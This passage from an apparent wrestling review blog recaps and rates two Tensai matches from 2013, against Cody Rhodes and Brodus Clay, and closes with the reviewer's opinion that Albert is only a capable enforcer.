That would be about it for Tensai meaning anything so we’ll pick stuff up on Raw, April 22, 2013.

Tensai vs. Cody Rhodes

Tensai throws Cody around to start and drops him with a right hand to the face. A delayed double underhook suplex gets two for Tensai but Cody comes back with a neckbreaker and a front facelock. The Disaster Kick gets two and it’s back to the front facelock for a bit. Tensai fights back and pounds away before hitting the rolling cannonball attack in the corner. Sandow gets on the apron for a distraction but gets crushed by Brodus. A Baldo Bomb puts Cody down and the running backsplash gets the pin at 3:34.

Rating: D. This just kept going and going with nothing interesting at all. Again, the feud was over weeks ago but it’s an England show tonight so we need to backtrack by about a month to make sure we don’t have anything new going on. The match was bad on top of the story being old.

One more match with Tensai fighting a dancer. From Smackdown, December 21, 2013.

Brodus Clay vs. Tensai

Tensai takes him into the corner and drives shoulders into Brodus’ ample gut. A clothesline drops Clay but he avoids the backsplash. Clay hits a pair of splashes in the corner and a running splash gets two. Another splash gets no cover and Brodus does the dinosaur claws dance. Cue the Funkadactyls with Xavier Woods for the distraction and, say it with me, Tensai rolls Brodus up for the pin at 1:45. I have no idea how this is supposed to help either guy but I’m sure it will be explained to me later.

Overall Albert is a talented guy but he really isn’t anything more than a good enforcer. I had a feeling that all this hype about him being great in Japan wasn’t going to hold up and that’s exactly what happened. He’s fine as the power half of a tag team and that’s been where he’s had his greatest success. Other than that he’s just a big, slow power guy with a good look. He certainly isn’t bad or anything like that but there’s nothing that makes me want to see more of him.

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